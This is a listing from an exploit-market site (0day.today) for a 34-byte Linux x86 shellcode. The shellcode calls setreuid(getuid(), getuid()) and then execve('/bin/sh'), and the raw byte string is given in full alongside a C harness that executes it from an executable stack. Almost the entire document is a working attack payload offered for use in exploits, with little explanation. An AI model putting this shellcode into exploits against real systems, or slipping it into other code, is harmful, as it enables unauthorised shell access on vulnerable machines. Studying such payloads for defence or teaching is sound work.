[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

linux/x86 setreud(getuid(), getuid()) & execve("/bin/sh") 34 bytes

Author
Magnefikko
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-11929
Category
shellcode
Date add
22-04-2010
Platform
linux/x86
============================================================================
linux/x86 setreud(getuid(), getuid()) & execve("/bin/sh") shellcode 34 bytes
============================================================================

#include <stdio.h>
#include <string.h>
 
/*
    by Magnefikko
    14.04.2010
    magnefikko@gmail.com
    promhyl.oz.pl
    Subgroup: #PRekambr
    Name: 34 bytes setreud(getuid(), getuid()) & execve("/bin/sh") shellcode
    Platform: Linux x86
     
    setreuid(getuid(), getuid());
    execve("/bin/sh"); 
 
    gcc -Wl,-z,execstack filename.c
 
    shellcode:
 
\x6a\x18\x58\xcd\x80\x50\x50\x5b\x59\x6a\x46\x58\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80
 
*/
 
 
int main(){
    char shell[] =
"\x6a\x18\x58\xcd\x80\x50\x50\x5b\x59\x6a\x46\x58\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80";
    printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell)
= %d\n", strlen(shell));
    (*(void (*)()) shell)();
}



#  0day.today [2024-09-28]  #